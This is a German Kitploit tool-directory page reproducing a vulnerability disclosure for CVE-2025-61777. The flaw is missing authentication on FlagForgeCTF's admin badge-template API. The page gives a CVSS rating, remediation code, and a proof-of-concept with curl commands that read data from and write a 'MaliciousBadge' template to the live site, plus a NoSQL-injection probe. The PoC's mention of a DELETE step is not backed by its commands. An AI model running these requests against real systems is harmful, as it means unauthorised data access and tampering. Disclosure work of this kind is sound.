Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-61777 — CVE auf FlagForgeCTF in den Versionen v2.0.0 bis v2.3.1. Auf Version 2.3.2 aktualisiert, um das Problem zu beheben. | Kitploit
Tools/GitHubGitHub/0x0w1z/cve-2025-61777
SchwachstellenanalyseExploitationWebsicherheitPenetrationstestsAPI-Sicherheit
GitHub0x0w1z/cve-2025-61777

CVE-2025-61777

CVE auf FlagForgeCTF in den Versionen v2.0.0 bis v2.3.1. Auf Version 2.3.2 aktualisiert, um das Problem zu beheben.

Repository anzeigen
2vor 10 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2025-61777

1. Unbefugte Änderung von Badge-Vorlagen auf FlagforgeCTF CVE-2025-61777

Zusammenfassung

Die Flagforge-Anwendung (https://flagforge.xyz) weist kritische Schwachstellen in ihren administrativen API-Endpunkten auf, insbesondere /api/admin/badge-templates (GET) und /api/admin/badge-templates/create (POST). Beide Endpunkte verfügen über keine Authentifizierungs- und Autorisierungskontrollen, sodass nicht authentifizierte Benutzer sensible Badge-Vorlagendaten abrufen und beliebige Vorlagen in der MongoDB-Datenbank erstellen können. Dies könnte zu unbefugter Datenoffenlegung, Datenbankverschmutzung oder Missbrauch des Badge-Systems führen (z. B. Erstellung bösartiger oder Spam-Vorlagen).

Beschreibung

Betroffene Endpunkte

  1. GET /api/admin/badge-templates:
    • Gibt ein JSON-Array aller Badge-Vorlagen zurück, die in der MongoDB-badgeTemplates-Sammlung gespeichert sind.
    • Offengelegte Felder umfassen _id, name, description, icon, color, isActive, createdBy, createdAt, updatedAt und __v.
    • Es sind keine Authentifizierungs-Header, API-Schlüssel oder Sitzungsprüfungen erforderlich, wodurch der Endpunkt öffentlich zugänglich ist.
    • Beispielantwort (von cURL):
root@kitploit:~
    x0w1z   ~  curl -i https://flagforge.xyz/api/admin/badge-templates
HTTP/2 200
access-control-allow-origin: https://flagforge.xyz
age: 0
cache-control: no-store, no-cache, must-revalidate, proxy-revalidate
content-type: application/json
date: Sat, 27 Sep 2025 11:17:35 GMT
permissions-policy: geolocation=(), microphone=(), camera=(), payment=()
pragma: no-cache
referrer-policy: no-referrer
server: Vercel
strict-transport-security: max-age=31536000; includeSubDomains; preload
vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch
x-content-type-options: nosniff
x-frame-options: DENY
x-matched-path: /api/admin/badge-templates
x-vercel-cache: MISS
x-vercel-id: bom1::iad1::kbnlf-1758971855497-e981648f08c6
x-xss-protection: 1; mode=block
{"success":true,"templates":[{"_id":"68d18c6b3ddde4c2825273a1","name":"Staff","description":"Awarded for behind-the-scenes work that powers the community forward.","icon":"/badges/images/badge-1758563431839-63u7vxws5u.png","color":"#8B5CF6","isActive":true,"createdBy":"Lagzen Thakuri","createdAt":"2025-09-22T17:50:35.138Z","updatedAt":"2025-09-22T17:50:35.138Z","__v":0},{"_id":"68d18c073ddde4c282527398","name":"Bug Hunter","description":"Awarded for sharp eyes and a hacker’s mindset in finding weaknesses.","icon":"/badges/images/badge-1758563324750-h7zfukwxw7.png","color":"#8B5CF6","isActive":true,"createdBy":"Lagzen Thakuri","createdAt":"2025-09-22T17:48:55.675Z","updatedAt":"2025-09-22T17:48:55.675Z","__v":0},{"_id":"68ccfd395b3791025b51c200","name":"Security Researcher","description":"Earned by pushing boundaries and digging deeper into security.","icon":"/badges/custom/badge-1758264629375-0y4fdhdxjy5.png","color":"#8B5CF6","isActive":true,"createdBy":"[email protected]","createdAt":"2025-09-19T06:50:33.108Z","updatedAt":"2025-09-19T06:50:33.108Z","__v":0}],"count":3}%
  1. POST /api/admin/badge-templates/create:
    • Ermöglicht die Erstellung neuer Badge-Vorlagen mit benutzerkontrollierten Feldern: name, description, icon, color, isActive und createdBy.
    • Minimale Validierungsprüfungen für das Vorhandensein von name, description und icon, und stellt sicher, dass kein doppelter name existiert.
    • Keine Authentifizierungs- oder Autorisierungsprüfungen, sodass jeder Daten in die Datenbank einfügen kann.
    • Beispielcode (aus der bereitgestellten Quelle):
      root@kitploit:~
      const templateDoc = {
        name: name.trim(),
        description: description.trim(),
        icon: icon.trim(),
        color: color || '#8B5CF6',
        isActive: isActive !== undefined ? isActive : true,
        createdAt: new Date(),
        createdBy: createdBy || 'unknown'
      };
      const result = await db.collection('badgeTemplates').insertOne(templateDoc);
      

Schwachstellen

  • CWE-200: Offenlegung sensibler Informationen an einen unbefugten Akteur (GET-Endpunkt): Legt Benutzerkennungen (z. B. Lagzen Thakuri, [email protected]) und Metadaten offen, was Aufklärung oder Phishing ermöglicht.
  • CWE-306: Fehlende Authentifizierung für kritische Funktion (beide Endpunkte): Keine Zugriffskontrollen auf administrativen Routen.
  • CWE-284: Unsachgemäße Zugriffskontrolle (beide Endpunkte): Ermöglicht unbefugten Datenabruf und -änderung.
  • Potenzielle NoSQL-Injection: Während der POST-Endpunkt Felder explizit destrukturiert, könnte der GET-Endpunkt anfällig sein, wenn er Abfrageparameter unterstützt (z. B. ?name[$ne]=test).
  • Log-Verschmutzungsrisiko: Der POST-Endpunkt protokolliert benutzerkontrollierte name- und createdBy-Werte, die für Log-Spam oder Injection missbraucht werden könnten.

CVSS v3.1-Score

  • Basis-Score: 9.1 (Kritisch)
  • Vektor: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
    • Angriffsvektor (AV): Netzwerk (öffentlich zugängliche Endpunkte).
    • Angriffskomplexität (AC): Niedrig (keine besonderen Bedingungen erforderlich).
    • Erforderliche Privilegien (PR): Keine (keine Authentifizierung erforderlich).
    • Benutzerinteraktion (UI): Keine (direkte HTTP-Anfragen).
    • Scope (S): Unverändert (betrifft die Anwendung selbst).
    • Vertraulichkeit (C): Hoch (legt Benutzerdaten offen).
    • Integrität (I): Hoch (ermöglicht beliebige Datenerstellung).
    • Verfügbarkeit (A): Niedrig (potenzieller DoS durch Massenerstellung von Vorlagen).

Betroffene Systeme

  • Anwendung: Flagforge (https://flagforge.xyz)
  • Komponenten:
    • Next.js-API-Routen: /api/admin/badge-templates (GET) und /api/admin/badge-templates/create (POST).
    • MongoDB-Datenbank: badgeTemplates-Sammlung.
  • Hosting: Vercel (serverlos, abgeleitet aus dem server: Vercel-Header).
  • Versionen: Unbekannt (basierend auf der NextRequest/NextResponse-Syntax wird Next.js 13+ angenommen).
  • Abhängigkeiten: MongoDB-Treiber (über das benutzerdefinierte @/utlis/db-Verbindungsprogramm), Next.js.

Auswirkungen

  • Vertraulichkeit: Offenlegung von Benutzerkennungen (createdBy) und Metadaten (createdAt, updatedAt), die für Social Engineering oder gezielte Angriffe verwendet werden könnten.
  • Integrität: Unbefugte Erstellung von Badge-Vorlagen, die möglicherweise zu Spam, Phishing oder der Anzeige bösartiger Inhalte in der Anwendung führt.
  • Verfügbarkeit: Potenzielle Denial-of-Service-Angriffe (DoS) durch Überflutung des POST-Endpunkts mit Vorlagenerstellungen, die Datenbankressourcen verbrauchen.
  • Ausnutzbarkeit: Hoch, da die Endpunkte über einfache HTTP-Anfragen (z. B. cURL, Postman) ohne Authentifizierungsbarrieren öffentlich zugänglich sind.

Proof of Concept

  1. Sensible Daten abrufen (GET):

    root@kitploit:~
    curl https://flagforge.xyz/api/admin/badge-templates
    
    • Gibt eine JSON-Liste aller Badge-Vorlagen zurück, einschließlich sensibler Felder wie createdBy (z. B. [email protected]).
  2. Unbefugte Vorlage erstellen (POST) und die Vorlagen entfernen (DELETE):

    root@kitploit:~
    curl -X POST https://flagforge.xyz/api/admin/badge-templates/create \
      -H "Content-Type: application/json" \
      -d '{"name":"MaliciousBadge","description":"Hacked","icon":"evil.svg","createdBy":"attacker"}'
    
    • Erstellt eine neue Vorlage in der badgeTemplates-Sammlung.
    • Entfernt die Badge-Vorlagen.
    • Überprüfen Sie dies, indem Sie die GET-Anfrage erneut ausführen, um zu bestätigen, dass die neue Vorlage erscheint.
  3. Potenzielle NoSQL-Injection (GET, falls Abfrageparameter unterstützt werden):

    root@kitploit:~
    curl https://flagforge.xyz/api/admin/badge-templates?name[$regex]=.*
    
    • Testen Sie, ob der Endpunkt MongoDB-Operatoren verarbeitet, was Filter umgehen oder zusätzliche Daten offenlegen könnte.

Empfehlungen

Sofortige Korrekturen

  1. Authentifizierung implementieren:
    • Fügen Sie Middleware hinzu, um die Benutzeridentität für beide Endpunkte zu verifizieren (z. B. JWT, NextAuth.js oder API-Schlüssel).
      root@kitploit:~
      // Beispiel-Middleware für den POST-Endpunkt
      export async function POST(request: NextRequest) {
        const authHeader = request.headers.get('authorization');
        if (!authHeader || !verifyToken(authHeader)) { // verifyToken implementieren
          return NextResponse.json({ error: 'Unauthorized' }, { status: 401 });
        }
        // ... bestehender Code ...
      }
      
  2. GET-Endpunkt einschränken:
    • Beschränken Sie den GET-Endpunkt auf authentifizierte Administratoren oder geben Sie minimale Daten zurück (z. B. createdBy ausschließen).
    • Wenn Abfrageparameter unterstützt werden, bereinigen Sie Eingaben, um NoSQL-Injection zu verhindern.

Referenzen

  • CWE-200: https://cwe.mitre.org/data/definitions/200.html
  • CWE-306: https://cwe.mitre.org/data/definitions/306.html
  • CWE-284: https://cwe.mitre.org/data/definitions/284.html
  • OWASP API Security Top 10: https://owasp.org/www-project-api-security/
  • CVSS v3.1-Rechner: https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator
Tool herunterladen